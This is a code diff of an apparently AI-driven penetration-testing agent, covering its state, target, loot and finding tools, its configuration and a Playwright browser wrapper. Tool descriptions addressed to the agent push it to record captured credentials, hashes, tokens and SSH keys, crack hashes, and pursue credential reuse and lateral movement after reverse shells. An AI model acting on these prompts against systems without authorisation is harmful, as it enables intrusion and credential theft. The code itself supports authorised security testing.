BRAVE: "brave.com",
|
|
2739
|
-
SERPER: "serper.dev"
|
|
2740
|
-
};
|
|
2741
|
-
var SEARCH_HEADER = {
|
|
2742
|
-
CONTENT_TYPE: "Content-Type",
|
|
2743
|
-
AUTHORIZATION: "Authorization",
|
|
2744
|
-
ACCEPT: "Accept",
|
|
2745
|
-
X_SUBSCRIPTION_TOKEN: "X-Subscription-Token",
|
|
2746
|
-
X_API_KEY: "X-API-KEY"
|
|
2747
|
-
};
|
|
2748
|
-
var SEARCH_LIMIT = {
|
|
2749
|
-
DEFAULT_RESULT_COUNT: 10,
|
|
2750
|
-
MAX_OUTPUT_LINES: 20,
|
|
2751
|
-
TIMEOUT_MS: 1e4
|
|
2752
|
-
};
|
|
2753
|
-
|
|
2754
|
-
// src/shared/utils/debug-logger.ts
|
|
2755
|
-
import { appendFileSync as appendFileSync2, mkdirSync as mkdirSync2, existsSync as existsSync3, writeFileSync as writeFileSync3 } from "fs";
|
|
2756
|
-
import { join as join2 } from "path";
|
|
2757
|
-
var DebugLogger = class _DebugLogger {
|
|
2758
|
-
static instance;
|
|
2759
|
-
logPath;
|
|
2760
|
-
initialized = false;
|
|
2761
|
-
constructor(clearOnInit = false) {
|
|
2762
|
-
const debugDir = join2(process.cwd(), ".pentesting", "debug");
|
|
2763
|
-
try {
|
|
2764
|
-
if (!existsSync3(debugDir)) {
|
|
2765
|
-
mkdirSync2(debugDir, { recursive: true });
|
|
2766
|
-
}
|
|
2767
|
-
this.logPath = join2(debugDir, "debug.log");
|
|
2768
|
-
if (clearOnInit) {
|
|
2769
|
-
this.clear();
|
|
2759
|
+
// src/engine/tools/pentest-state-tools.ts
|
|
2760
|
+
var createStateTools = (state) => [
|
|
2761
|
+
{
|
|
2762
|
+
name: TOOL_NAMES.UPDATE_MISSION,
|
|
2763
|
+
description: `Update the mission summary and checklist.
|
|
2764
|
+
Use this for strategic planning and maintaining long-term context during complex engagements.
|
|
2765
|
+
The mission summary acts as your "long-term memory" \u2014 keep it updated with critical findings and overall progress.
|
|
2766
|
+
The checklist tracks granular steps (e.g., "[ ] Crack hashes", "[x] Recon 10.10.10.5").
|
|
2767
|
+
Mandatory when:
|
|
2768
|
+
- Big goals change
|
|
2769
|
+
- You encounter a major obstacle (firewall, port conflict)
|
|
2770
|
+
- You gain a significant new access point (reverse shell)
|
|
2771
|
+
- You need to summarize findings to prevent context overflow`,
|
|
2772
|
+
parameters: {
|
|
2773
|
+
summary: { type: "string", description: "Updated mission summary (concise overview)" },
|
|
2774
|
+
checklist_updates: {
|
|
2775
|
+
type: "array",
|
|
2776
|
+
items: {
|
|
2777
|
+
type: "object",
|
|
2778
|
+
properties: {
|
|
2779
|
+
id: { type: "string", description: "Item ID (required for update/remove)" },
|
|
2780
|
+
text: { type: "string", description: "Updated text" },
|
|
2781
|
+
completed: { type: "boolean", description: "Completion status" },
|
|
2782
|
+
remove: { type: "boolean", description: "Remove item if true" }
|
|
2783
|
+
},
|
|
2784
|
+
required: ["id"]
|
|
2785
|
+
},
|
|
2786
|
+
description: "Updates to existing checklist items"
|
|
2787
|
+
},
|
|
2788
|
+
add_items: {
|
|
2789
|
+
type: "array",
|
|
2790
|
+
items: { type: "string" },
|
|
2791
|
+
description: "New checklist items to add"
|
|
2770
2792
|
}
|
|
2771
|
-
|
|
2772
|
-
|
|
2773
|
-
|
|
2774
|
-
|
|
2775
|
-
|
|
2776
|
-
|
|
2777
|
-
|
|
2778
|
-
|
|
2779
|
-
|
|
2780
|
-
|
|
2781
|
-
|
|
2793
|
+
},
|
|
2794
|
+
execute: async (p) => {
|
|
2795
|
+
if (p.summary) state.setMissionSummary(p.summary);
|
|
2796
|
+
if (p.checklist_updates) state.updateMissionChecklist(p.checklist_updates);
|
|
2797
|
+
if (p.add_items) state.addMissionChecklistItems(p.add_items);
|
|
2798
|
+
return {
|
|
2799
|
+
success: true,
|
|
2800
|
+
output: `Mission updated.
|
|
2801
|
+
Summary: ${state.getMissionSummary()}
|
|
2802
|
+
Checklist Items: ${state.getMissionChecklist().length}`
|
|
2803
|
+
};
|
|
2782
2804
|
}
|
|
2783
|
-
|
|
2784
|
-
|
|
2785
|
-
|
|
2786
|
-
|
|
2787
|
-
|
|
2788
|
-
|
|
2805
|
+
},
|
|
2806
|
+
{
|
|
2807
|
+
name: TOOL_NAMES.GET_STATE,
|
|
2808
|
+
description: "Get current engagement state summary",
|
|
2809
|
+
parameters: {},
|
|
2810
|
+
execute: async () => ({ success: true, output: state.toPrompt() })
|
|
2789
2811
|
}
|
|
2790
|
-
|
|
2791
|
-
|
|
2792
|
-
|
|
2793
|
-
|
|
2794
|
-
|
|
2795
|
-
|
|
2796
|
-
|
|
2797
|
-
|
|
2798
|
-
|
|
2812
|
+
];
|
|
2813
|
+
|
|
2814
|
+
// src/engine/tools/pentest-target-tools.ts
|
|
2815
|
+
var createTargetTools = (state) => [
|
|
2816
|
+
{
|
|
2817
|
+
name: TOOL_NAMES.ADD_TARGET,
|
|
2818
|
+
description: `Register a new target for the engagement.
|
|
2819
|
+
Use this when you discover new hosts during recon, pivoting, or post-exploitation.
|
|
2820
|
+
The target will be tracked in SharedState and available for all agents.`,
|
|
2821
|
+
parameters: {
|
|
2822
|
+
ip: { type: "string", description: "Target IP address" },
|
|
2823
|
+
hostname: { type: "string", description: "Target hostname (optional)" },
|
|
2824
|
+
ports: {
|
|
2825
|
+
type: "array",
|
|
2826
|
+
items: {
|
|
2827
|
+
type: "object",
|
|
2828
|
+
properties: {
|
|
2829
|
+
port: { type: "number", description: "Port number" },
|
|
2830
|
+
service: { type: "string", description: "Service name (e.g., http, ssh)" },
|
|
2831
|
+
version: { type: "string", description: "Service version" },
|
|
2832
|
+
state: { type: "string", description: "Port state (default: open)" }
|
|
2833
|
+
},
|
|
2834
|
+
required: ["port", "service"]
|
|
2835
|
+
},
|
|
2836
|
+
description: "Discovered ports (optional, can add later via recon)"
|
|
2837
|
+
},
|
|
2838
|
+
tags: {
|
|
2839
|
+
type: "array",
|
|
2840
|
+
items: { type: "string" },
|
|
2841
|
+
description: 'Tags for categorization (e.g., "internal", "dmz", "pivot")'
|
|
2842
|
+
}
|
|
2843
|
+
},
|
|
2844
|
+
required: ["ip"],
|
|
2845
|
+
execute: async (p) => {
|
|
2846
|
+
const ip = p.ip;
|
|
2847
|
+
const existing = state.getTarget(ip);
|
|
2848
|
+
if (existing) {
|
|
2849
|
+
const newPorts = p.ports || [];
|
|
2850
|
+
for (const np of newPorts) {
|
|
2851
|
+
const exists = existing.ports.some((ep) => ep.port === np.port);
|
|
2852
|
+
if (!exists) {
|
|
2853
|
+
existing.ports.push({
|
|
2854
|
+
port: np.port,
|
|
2855
|
+
service: np.service || "unknown",
|
|
2856
|
+
version: np.version,
|
|
2857
|
+
state: np.state || "open",
|
|
2858
|
+
notes: []
|
|
2859
|
+
});
|
|
2860
|
+
}
|
|
2861
|
+
}
|
|
2862
|
+
if (p.hostname) existing.hostname = p.hostname;
|
|
2863
|
+
if (p.tags) existing.tags = [.../* @__PURE__ */ new Set([...existing.tags, ...p.tags])];
|
|
2864
|
+
return { success: true, output: `Target ${ip} updated. Total ports: ${existing.ports.length}` };
|
|
2865
|
+
}
|
|
2866
|
+
const ports = (p.ports || []).map((port) => ({
|
|
2867
|
+
port: port.port,
|
|
2868
|
+
service: port.service || "unknown",
|
|
2869
|
+
version: port.version,
|
|
2870
|
+
state: port.state || "open",
|
|
2871
|
+
notes: []
|
|
2872
|
+
}));
|
|
2873
|
+
state.addTarget({
|
|
2874
|
+
ip,
|
|
2875
|
+
hostname: p.hostname,
|
|
2876
|
+
ports,
|
|
2877
|
+
tags: p.tags || [],
|
|
2878
|
+
firstSeen: Date.now()
|
|
2879
|
+
});
|
|
2880
|
+
return { success: true, output: `Target ${ip} added.${p.hostname ? ` Hostname: ${p.hostname}` : ""} Ports: ${ports.length}` };
|
|
2881
|
+
}
|
|
2882
|
+
},
|
|
2883
|
+
{
|
|
2884
|
+
name: TOOL_NAMES.ADD_LOOT,
|
|
2885
|
+
description: `Record captured loot (credentials, hashes, tokens, SSH keys, files, etc).
|
|
2886
|
+
Use this whenever you discover sensitive data during the engagement.
|
|
2887
|
+
Loot is tracked in SharedState and visible to all agents for credential reuse and lateral movement.
|
|
2888
|
+
Types: credential, hash, token, ssh_key, api_key, file, session, ticket, certificate`,
|
|
2889
|
+
parameters: {
|
|
2890
|
+
type: { type: "string", description: "Loot type: credential, hash, token, ssh_key, api_key, file, session, ticket, certificate" },
|
|
2891
|
+
host: { type: "string", description: "Source host where loot was found" },
|
|
2892
|
+
detail: { type: "string", description: 'Loot detail (e.g., "admin:Password123", "root:$6$...", "JWT admin token")' }
|
|
2893
|
+
},
|
|
2894
|
+
required: ["type", "host", "detail"],
|
|
2895
|
+
execute: async (p) => {
|
|
2896
|
+
const lootType = p.type;
|
|
2897
|
+
const crackableTypes = ["hash"];
|
|
2898
|
+
state.addLoot({
|
|
2899
|
+
type: lootType,
|
|
2900
|
+
host: p.host,
|
|
2901
|
+
detail: p.detail,
|
|
2902
|
+
obtainedAt: Date.now(),
|
|
2903
|
+
isCrackable: crackableTypes.includes(lootType),
|
|
2904
|
+
isCracked: false
|
|
2905
|
+
});
|
|
2906
|
+
return {
|
|
2907
|
+
success: true,
|
|
2908
|
+
output: `Loot recorded: [${lootType}] from ${p.host}
|
|
2909
|
+
Detail: ${p.detail}
|
|
2910
|
+
` + (crackableTypes.includes(lootType) ? `This is crackable. Consider: hash_crack({ hashes: "${p.detail.slice(0, 30)}..." })` : `Consider credential reuse / lateral movement with this loot.`)
|
|
2911
|
+
};
|
|
2912
|
+
}
|
|
2913
|
+
},
|
|
2914
|
+
{
|
|
2915
|
+
name: TOOL_NAMES.ADD_FINDING,
|
|
2916
|
+
description: "Add a security finding",
|
|
2917
|
+
parameters: {
|
|
2918
|
+
title: { type: "string", description: "Finding title" },
|
|
2919
|
+
severity: { type: "string", description: "Severity" },
|
|
2920
|
+
affected: { type: "array", items: { type: "string" }, description: "Affected host:port" }
|
|
2921
|
+
},
|
|
2922
|
+
required: ["title", "severity"],
|
|
2923
|
+
execute: async (p) => {
|
|
2924
|
+
state.addFinding({
|
|
2925
|
+
id: generateId(ID_RADIX, ID_LENGTH),
|
|
2926
|
+
title: p.title,
|
|
2927
|
+
severity: p.severity,
|
|
2928
|
+
affected: p.affected || [],
|
|
2929
|
+
description: p.description || "",
|
|
2930
|
+
evidence: [],
|
|
2931
|
+
isVerified: false,
|
|
2932
|
+
remediation: "",
|
|
2933
|
+
foundAt: Date.now()
|
|
2934
|
+
});
|
|
2935
|
+
return { success: true, output: `Added: ${p.title}` };
|
|
2936
|
+
}
|
|
2937
|
+
}
|
|
2938
|
+
];
|
|
2939
|
+
|
|
2940
|
+
// src/engine/tools-mid.ts
|
|
2941
|
+
import { execFileSync } from "child_process";
|
|
2942
|
+
|
|
2943
|
+
// src/shared/utils/config.ts
|
|
2944
|
+
import path from "path";
|
|
2945
|
+
import { fileURLToPath } from "url";
|
|
2946
|
+
var __filename = fileURLToPath(import.meta.url);
|
|
2947
|
+
var __dirname = path.dirname(__filename);
|
|
2948
|
+
var ENV_KEYS = {
|
|
2949
|
+
API_KEY: "PENTEST_API_KEY",
|
|
2950
|
+
BASE_URL: "PENTEST_BASE_URL",
|
|
2951
|
+
MODEL: "PENTEST_MODEL",
|
|
2952
|
+
SEARCH_API_KEY: "SEARCH_API_KEY",
|
|
2953
|
+
SEARCH_API_URL: "SEARCH_API_URL"
|
|
2954
|
+
};
|
|
2955
|
+
var DEFAULT_SEARCH_API_URL = "https://api.search.brave.com/res/v1/web/search";
|
|
2956
|
+
function getApiKey() {
|
|
2957
|
+
return process.env[ENV_KEYS.API_KEY] || "";
|
|
2958
|
+
}
|
|
2959
|
+
function getBaseUrl() {
|
|
2960
|
+
return process.env[ENV_KEYS.BASE_URL] || void 0;
|
|
2961
|
+
}
|
|
2962
|
+
function getModel() {
|
|
2963
|
+
return process.env[ENV_KEYS.MODEL] || "";
|
|
2964
|
+
}
|
|
2965
|
+
function getSearchApiKey() {
|
|
2966
|
+
return process.env[ENV_KEYS.SEARCH_API_KEY];
|
|
2967
|
+
}
|
|
2968
|
+
function getSearchApiUrl() {
|
|
2969
|
+
return process.env[ENV_KEYS.SEARCH_API_URL] || DEFAULT_SEARCH_API_URL;
|
|
2970
|
+
}
|
|
2971
|
+
function isBrowserHeadless() {
|
|
2972
|
+
return true;
|
|
2973
|
+
}
|
|
2974
|
+
|
|
2975
|
+
// src/shared/constants/search-api.const.ts
|
|
2976
|
+
var SEARCH_URL_PATTERN = {
|
|
2977
|
+
GLM: "bigmodel.cn",
|
|
2978
|
+
ZHIPU: "zhipuai",
|
|
2979
|
+
BRAVE: "brave.com",
|
|
2980
|
+
SERPER: "serper.dev"
|
|
2981
|
+
};
|
|
2982
|
+
var SEARCH_HEADER = {
|
|
2983
|
+
CONTENT_TYPE: "Content-Type",
|
|
2984
|
+
AUTHORIZATION: "Authorization",
|
|
2985
|
+
ACCEPT: "Accept",
|
|
2986
|
+
X_SUBSCRIPTION_TOKEN: "X-Subscription-Token",
|
|
2987
|
+
X_API_KEY: "X-API-KEY"
|
|
2988
|
+
};
|
|
2989
|
+
var SEARCH_LIMIT = {
|
|
2990
|
+
DEFAULT_RESULT_COUNT: 10,
|
|
2991
|
+
MAX_OUTPUT_LINES: 20,
|
|
2992
|
+
TIMEOUT_MS: 1e4
|
|
2993
|
+
};
|
|
2994
|
+
|
|
2995
|
+
// src/shared/utils/debug-logger.ts
|
|
2996
|
+
import { appendFileSync as appendFileSync2, writeFileSync as writeFileSync3 } from "fs";
|
|
2997
|
+
import { join as join2 } from "path";
|
|
2998
|
+
|
|
2999
|
+
// src/shared/constants/paths.ts
|
|
3000
|
+
import path2 from "path";
|
|
3001
|
+
import { fileURLToPath as fileURLToPath2 } from "url";
|
|
3002
|
+
import { homedir } from "os";
|
|
3003
|
+
var __filename2 = fileURLToPath2(import.meta.url);
|
|
3004
|
+
var __dirname2 = path2.dirname(__filename2);
|
|
3005
|
+
var PROJECT_ROOT = path2.resolve(__dirname2, "../../../");
|
|
3006
|
+
var WORKSPACE_DIR_NAME = ".pentesting";
|
|
3007
|
+
function getWorkspaceRoot() {
|
|
3008
|
+
return path2.join(homedir(), WORKSPACE_DIR_NAME);
|
|
3009
|
+
}
|
|
3010
|
+
var WORKSPACE = {
|
|
3011
|
+
/** Root directory (resolved lazily via getWorkspaceRoot) */
|
|
3012
|
+
get ROOT() {
|
|
3013
|
+
return getWorkspaceRoot();
|
|
3014
|
+
},
|
|
3015
|
+
/** Per-session state snapshots */
|
|
3016
|
+
get SESSIONS() {
|
|
3017
|
+
return path2.join(getWorkspaceRoot(), "sessions");
|
|
3018
|
+
},
|
|
3019
|
+
/** Debug logs */
|
|
3020
|
+
get DEBUG() {
|
|
3021
|
+
return path2.join(getWorkspaceRoot(), "debug");
|
|
3022
|
+
},
|
|
3023
|
+
/** Generated reports */
|
|
3024
|
+
get REPORTS() {
|
|
3025
|
+
return path2.join(getWorkspaceRoot(), "reports");
|
|
3026
|
+
},
|
|
3027
|
+
/** Downloaded loot, captured files */
|
|
3028
|
+
get LOOT() {
|
|
3029
|
+
return path2.join(getWorkspaceRoot(), "loot");
|
|
3030
|
+
},
|
|
3031
|
+
/** Temporary files for active operations */
|
|
3032
|
+
get TEMP() {
|
|
3033
|
+
return path2.join(getWorkspaceRoot(), "temp");
|
|
3034
|
+
}
|
|
3035
|
+
};
|
|
3036
|
+
var PATHS = {
|
|
3037
|
+
ROOT: PROJECT_ROOT,
|
|
3038
|
+
SRC: path2.join(PROJECT_ROOT, "src"),
|
|
3039
|
+
DIST: path2.join(PROJECT_ROOT, "dist")
|
|
3040
|
+
};
|
|
3041
|
+
|
|
3042
|
+
// src/shared/utils/debug-logger.ts
|
|
3043
|
+
var DebugLogger = class _DebugLogger {
|
|
3044
|
+
static instance;
|
|
3045
|
+
logPath;
|
|
3046
|
+
initialized = false;
|
|
3047
|
+
constructor(clearOnInit = false) {
|
|
3048
|
+
const debugDir = WORKSPACE.DEBUG;
|
|
3049
|
+
try {
|
|
3050
|
+
ensureDirExists(debugDir);
|
|
3051
|
+
this.logPath = join2(debugDir, "debug.log");
|
|
3052
|
+
if (clearOnInit) {
|
|
3053
|
+
this.clear();
|
|
3054
|
+
}
|
|
3055
|
+
this.initialized = true;
|
|
3056
|
+
this.log("general", "=== DEBUG LOGGER INITIALIZED ===");
|
|
3057
|
+
this.log("general", `Log file: ${this.logPath}`);
|
|
3058
|
+
} catch (e) {
|
|
3059
|
+
console.error("[DebugLogger] Failed to initialize:", e);
|
|
3060
|
+
this.logPath = "";
|
|
3061
|
+
}
|
|
3062
|
+
}
|
|
3063
|
+
static getInstance(clearOnInit = false) {
|
|
3064
|
+
if (!_DebugLogger.instance) {
|
|
3065
|
+
_DebugLogger.instance = new _DebugLogger(clearOnInit);
|
|
3066
|
+
}
|
|
3067
|
+
return _DebugLogger.instance;
|
|
3068
|
+
}
|
|
3069
|
+
/** Reset the singleton instance (used by initDebugLogger) */
|
|
3070
|
+
static resetInstance(clearOnInit = false) {
|
|
3071
|
+
_DebugLogger.instance = new _DebugLogger(clearOnInit);
|
|
3072
|
+
return _DebugLogger.instance;
|
|
3073
|
+
}
|
|
3074
|
+
log(category, message, data) {
|
|
3075
|
+
if (!this.initialized || !this.logPath) return;
|
|
3076
|
+
try {
|
|
3077
|
+
const timestamp = (/* @__PURE__ */ new Date()).toISOString();
|
|
3078
|
+
let logLine = `[${timestamp}] [${category.toUpperCase()}] ${message}`;
|
|
3079
|
+
if (data !== void 0) {
|
|
3080
|
+
logLine += ` | ${JSON.stringify(data)}`;
|
|
3081
|
+
}
|
|
3082
|
+
logLine += "\n";
|
|
2799
3083
|
appendFileSync2(this.logPath, logLine);
|
|
2800
3084
|
} catch (e) {
|
|
2801
3085
|
console.error("[DebugLogger] Write error:", e);
|
|
@@ -2832,10 +3116,8 @@ function debugLog(category, message, data) {
|
|
|
2832
3116
|
}
|
|
2833
3117
|
|
|
2834
3118
|
// src/engine/tools/web-browser.ts
|
|
2835
|
-
import {
|
|
2836
|
-
import {
|
|
2837
|
-
import { join as join3, dirname } from "path";
|
|
2838
|
-
import { tmpdir as tmpdir2 } from "os";
|
|
3119
|
+
import { join as join5 } from "path";
|
|
3120
|
+
import { tmpdir as tmpdir3 } from "os";
|
|
2839
3121
|
|
|
2840
3122
|
// src/shared/constants/browser/config.ts
|
|
2841
3123
|
var BROWSER_CONFIG = {
|
|
@@ -2883,11 +3165,14 @@ var PLAYWRIGHT_SCRIPT = {
|
|
|
2883
3165
|
SPAWN_TIMEOUT_BUFFER_MS: 1e4
|
|
2884
3166
|
};
|
|
2885
3167
|
|
|
2886
|
-
// src/engine/tools/web-browser.ts
|
|
3168
|
+
// src/engine/tools/web-browser-setup.ts
|
|
3169
|
+
import { spawn as spawn3 } from "child_process";
|
|
3170
|
+
import { existsSync as existsSync4 } from "fs";
|
|
3171
|
+
import { join as join3, dirname as dirname2 } from "path";
|
|
2887
3172
|
function getPlaywrightPath() {
|
|
2888
3173
|
try {
|
|
2889
3174
|
const mainPath = __require.resolve("playwright");
|
|
2890
|
-
return
|
|
3175
|
+
return dirname2(mainPath);
|
|
2891
3176
|
} catch {
|
|
2892
3177
|
}
|
|
2893
3178
|
const dockerPath = "/app/node_modules/playwright";
|
|
@@ -2899,16 +3184,6 @@ function getPlaywrightPath() {
|
|
|
2899
3184
|
}
|
|
2900
3185
|
return join3(process.cwd(), "node_modules", "playwright");
|
|
2901
3186
|
}
|
|
2902
|
-
var DEFAULT_OPTIONS = {
|
|
2903
|
-
timeout: BROWSER_CONFIG.DEFAULT_TIMEOUT,
|
|
2904
|
-
userAgent: BROWSER_CONFIG.DEFAULT_USER_AGENT,
|
|
2905
|
-
viewport: BROWSER_CONFIG.VIEWPORT,
|
|
2906
|
-
waitAfterLoad: BROWSER_CONFIG.DEFAULT_WAIT_AFTER_LOAD,
|
|
2907
|
-
screenshot: false,
|
|
2908
|
-
extractContent: true,
|
|
2909
|
-
extractLinks: true,
|
|
2910
|
-
extractForms: true
|
|
2911
|
-
};
|
|
2912
3187
|
async function checkPlaywright() {
|
|
2913
3188
|
try {
|
|
2914
3189
|
const result2 = await new Promise((resolve) => {
|
|
@@ -2955,53 +3230,20 @@ async function installPlaywright() {
|
|
|
2955
3230
|
});
|
|
2956
3231
|
});
|
|
2957
3232
|
}
|
|
2958
|
-
|
|
2959
|
-
|
|
2960
|
-
|
|
2961
|
-
|
|
2962
|
-
|
|
2963
|
-
|
|
2964
|
-
return {
|
|
2965
|
-
success: false,
|
|
2966
|
-
output: "",
|
|
2967
|
-
error: `Playwright not available and auto-install failed: ${installResult.output}`
|
|
2968
|
-
};
|
|
2969
|
-
}
|
|
2970
|
-
}
|
|
2971
|
-
const screenshotPath = opts.screenshot ? join3(join3(tmpdir2(), BROWSER_PATHS.TEMP_DIR_NAME), `screenshot-${Date.now()}.png`) : void 0;
|
|
2972
|
-
const script = buildBrowseScript(url, opts, screenshotPath);
|
|
2973
|
-
const result2 = await runPlaywrightScript(script, opts.timeout, "browse");
|
|
2974
|
-
if (!result2.success) {
|
|
2975
|
-
return {
|
|
2976
|
-
success: false,
|
|
2977
|
-
output: result2.output,
|
|
2978
|
-
error: result2.error
|
|
2979
|
-
};
|
|
2980
|
-
}
|
|
2981
|
-
if (result2.parsedData) {
|
|
2982
|
-
return {
|
|
2983
|
-
success: true,
|
|
2984
|
-
output: formatBrowserOutput(result2.parsedData, opts),
|
|
2985
|
-
screenshots: screenshotPath ? [screenshotPath] : void 0,
|
|
2986
|
-
extractedData: result2.parsedData
|
|
2987
|
-
};
|
|
2988
|
-
}
|
|
2989
|
-
return {
|
|
2990
|
-
success: true,
|
|
2991
|
-
output: result2.output || "Navigation completed",
|
|
2992
|
-
screenshots: screenshotPath ? [screenshotPath] : void 0
|
|
2993
|
-
};
|
|
2994
|
-
}
|
|
3233
|
+
|
|
3234
|
+
// src/engine/tools/web-browser-script.ts
|
|
3235
|
+
import { spawn as spawn4 } from "child_process";
|
|
3236
|
+
import { writeFileSync as writeFileSync4, unlinkSync as unlinkSync2 } from "fs";
|
|
3237
|
+
import { join as join4 } from "path";
|
|
3238
|
+
import { tmpdir as tmpdir2 } from "os";
|
|
2995
3239
|
function safeJsString(str) {
|
|
2996
3240
|
return JSON.stringify(str);
|
|
2997
3241
|
}
|
|
2998
3242
|
function runPlaywrightScript(script, timeout, scriptPrefix) {
|
|
2999
3243
|
return new Promise((resolve) => {
|
|
3000
|
-
const tempDir =
|
|
3001
|
-
|
|
3002
|
-
|
|
3003
|
-
}
|
|
3004
|
-
const scriptPath = join3(tempDir, `${scriptPrefix}-${Date.now()}${PLAYWRIGHT_SCRIPT.EXTENSION}`);
|
|
3244
|
+
const tempDir = join4(tmpdir2(), BROWSER_PATHS.TEMP_DIR_NAME);
|
|
3245
|
+
ensureDirExists(tempDir);
|
|
3246
|
+
const scriptPath = join4(tempDir, `${scriptPrefix}-${Date.now()}${PLAYWRIGHT_SCRIPT.EXTENSION}`);
|
|
3005
3247
|
try {
|
|
3006
3248
|
writeFileSync4(scriptPath, script, "utf-8");
|
|
3007
3249
|
} catch (err) {
|
|
@@ -3014,10 +3256,10 @@ function runPlaywrightScript(script, timeout, scriptPrefix) {
|
|
|
3014
3256
|
}
|
|
3015
3257
|
const nodePathDirs = [
|
|
3016
3258
|
"/app/node_modules",
|
|
3017
|
-
|
|
3259
|
+
join4(process.cwd(), "node_modules"),
|
|
3018
3260
|
process.env.NODE_PATH || ""
|
|
3019
3261
|
].filter(Boolean).join(":");
|
|
3020
|
-
const child =
|
|
3262
|
+
const child = spawn4(PLAYWRIGHT_CMD.NODE, [scriptPath], {
|
|
3021
3263
|
timeout: timeout + PLAYWRIGHT_SCRIPT.SPAWN_TIMEOUT_BUFFER_MS,
|
|
3022
3264
|
env: { ...process.env, NODE_PATH: nodePathDirs }
|
|
3023
3265
|
});
|
|
@@ -3194,13 +3436,64 @@ function formatBrowserOutput(data, options) {
|
|
|
3194
3436
|
}
|
|
3195
3437
|
return lines.join("\n");
|
|
3196
3438
|
}
|
|
3439
|
+
|
|
3440
|
+
// src/engine/tools/web-browser-types.ts
|
|
3441
|
+
var DEFAULT_BROWSER_OPTIONS = {
|
|
3442
|
+
timeout: BROWSER_CONFIG.DEFAULT_TIMEOUT,
|
|
3443
|
+
userAgent: BROWSER_CONFIG.DEFAULT_USER_AGENT,
|
|
3444
|
+
viewport: BROWSER_CONFIG.VIEWPORT,
|
|
3445
|
+
waitAfterLoad: BROWSER_CONFIG.DEFAULT_WAIT_AFTER_LOAD,
|
|
3446
|
+
screenshot: false,
|
|
3447
|
+
extractContent: true,
|
|
3448
|
+
extractLinks: true,
|
|
3449
|
+
extractForms: true
|
|
3450
|
+
};
|
|
3451
|
+
|
|
3452
|
+
// src/engine/tools/web-browser.ts
|
|
3453
|
+
async function browseUrl(url, options = {}) {
|
|
3454
|
+
const browserOptions = { ...DEFAULT_BROWSER_OPTIONS, ...options };
|
|
3455
|
+
const { installed, browserInstalled } = await checkPlaywright();
|
|
3456
|
+
if (!installed || !browserInstalled) {
|
|
3457
|
+
const installResult = await installPlaywright();
|
|
3458
|
+
if (!installResult.success) {
|
|
3459
|
+
return {
|
|
3460
|
+
success: false,
|
|
3461
|
+
output: "",
|
|
3462
|
+
error: `Playwright not available and auto-install failed: ${installResult.output}`
|
|
3463
|
+
};
|
|
3464
|
+
}
|
|
3465
|
+
}
|
|
3466
|
+
const screenshotPath = browserOptions.screenshot ? join5(join5(tmpdir3(), BROWSER_PATHS.TEMP_DIR_NAME), `screenshot-${Date.now()}.png`) : void 0;
|
|
3467
|
+
const script = buildBrowseScript(url, browserOptions, screenshotPath);
|
|
3468
|
+
const result2 = await runPlaywrightScript(script, browserOptions.timeout, "browse");
|
|
3469
|
+
if (!result2.success) {
|
|
3470
|
+
return {
|
|
3471
|
+
success: false,
|
|
3472
|
+
output: result2.output,
|
|
3473
|
+
error: result2.error
|
|
3474
|
+
};
|
|
3475
|
+
}
|
|
3476
|
+
if (result2.parsedData) {
|
|
3477
|
+
return {
|
|
3478
|
+
success: true,
|
|
3479
|
+
output: formatBrowserOutput(result2.parsedData, browserOptions),
|
|
3480
|
+
screenshots: screenshotPath ? [screenshotPath] : void 0,
|
|
3481
|
+
extractedData: result2.parsedData
|
|
3482
|
+
};
|
|
3483
|
+
}
|
|
3484
|
+
return {
|
|
3485
|
+
success: true,
|
|
3486
|
+
output: result2.output || "Navigation completed",
|
|
3487
|
+
screenshots: screenshotPath ? [screenshotPath] : void 0
|
|
3488
|
+
};
|
|
3489
|
+
}
|
|
3197
3490
|
async function fillAndSubmitForm(url, formData, options = {}) {
|
|
3198
|
-
const
|
|
3491
|
+
const browserOptions = { ...DEFAULT_BROWSER_OPTIONS, ...options };
|
|
3199
3492
|
const safeUrl = safeJsString(url);
|
|
3200
3493
|
const safeFormData = JSON.stringify(formData);
|
|
3201
3494
|
const playwrightPath = getPlaywrightPath();
|
|
3202
3495
|
const safePlaywrightPath = safeJsString(playwrightPath);
|
|
3203
|
-
const headlessMode =
|
|
3496
|
+
const headlessMode = process.env.HEADLESS !== "false";
|
|
3204
3497
|
const script = `
|
|
3205
3498
|
const { chromium } = require(${safePlaywrightPath});
|
|
3206
3499
|
|
|
@@ -3209,7 +3502,7 @@ const { chromium } = require(${safePlaywrightPath});
|
|
|
3209
3502
|
const page = await browser.newPage();
|
|
3210
3503
|
|
|
3211
3504
|
try {
|
|
3212
|
-
await page.goto(${safeUrl}, { waitUntil: 'networkidle', timeout: ${
|
|
3505
|
+
await page.goto(${safeUrl}, { waitUntil: 'networkidle', timeout: ${browserOptions.timeout} });
|
|
3213
3506
|
|
|
3214
3507
|
// Fill form fields
|
|
3215
3508
|
const formData = ${safeFormData};
|
|
@@ -3241,7 +3534,7 @@ const { chromium } = require(${safePlaywrightPath});
|
|
|
3241
3534
|
}
|
|
3242
3535
|
})();
|
|
3243
3536
|
`;
|
|
3244
|
-
const result2 = await runPlaywrightScript(script,
|
|
3537
|
+
const result2 = await runPlaywrightScript(script, browserOptions.timeout, "form");
|
|
3245
3538
|
if (!result2.success) {
|
|
3246
3539
|
return {
|
|
3247
3540
|
success: false,
|
|
@@ -3764,493 +4057,113 @@ Use 'get_owasp_knowledge' with edition="2023" or similar to see specific details
|
|
|
3764
4057
|
`.trim();
|
|
3765
4058
|
}
|
|
3766
4059
|
|
|
3767
|
-
// src/
|
|
3768
|
-
|
|
3769
|
-
|
|
3770
|
-
|
|
3771
|
-
|
|
3772
|
-
|
|
3773
|
-
|
|
3774
|
-
|
|
3775
|
-
}
|
|
3776
|
-
|
|
3777
|
-
|
|
3778
|
-
|
|
3779
|
-
|
|
3780
|
-
|
|
3781
|
-
|
|
3782
|
-
}
|
|
3783
|
-
|
|
3784
|
-
|
|
3785
|
-
}
|
|
3786
|
-
|
|
3787
|
-
|
|
3788
|
-
|
|
3789
|
-
|
|
3790
|
-
|
|
3791
|
-
|
|
3792
|
-
|
|
3793
|
-
|
|
3794
|
-
|
|
3795
|
-
|
|
3796
|
-
|
|
3797
|
-
|
|
3798
|
-
|
|
3799
|
-
|
|
3800
|
-
|
|
3801
|
-
|
|
3802
|
-
|
|
3803
|
-
}
|
|
3804
|
-
|
|
3805
|
-
|
|
3806
|
-
|
|
3807
|
-
|
|
3808
|
-
|
|
3809
|
-
|
|
3810
|
-
|
|
3811
|
-
|
|
3812
|
-
|
|
3813
|
-
|
|
3814
|
-
|
|
3815
|
-
|
|
3816
|
-
|
|
3817
|
-
|
|
3818
|
-
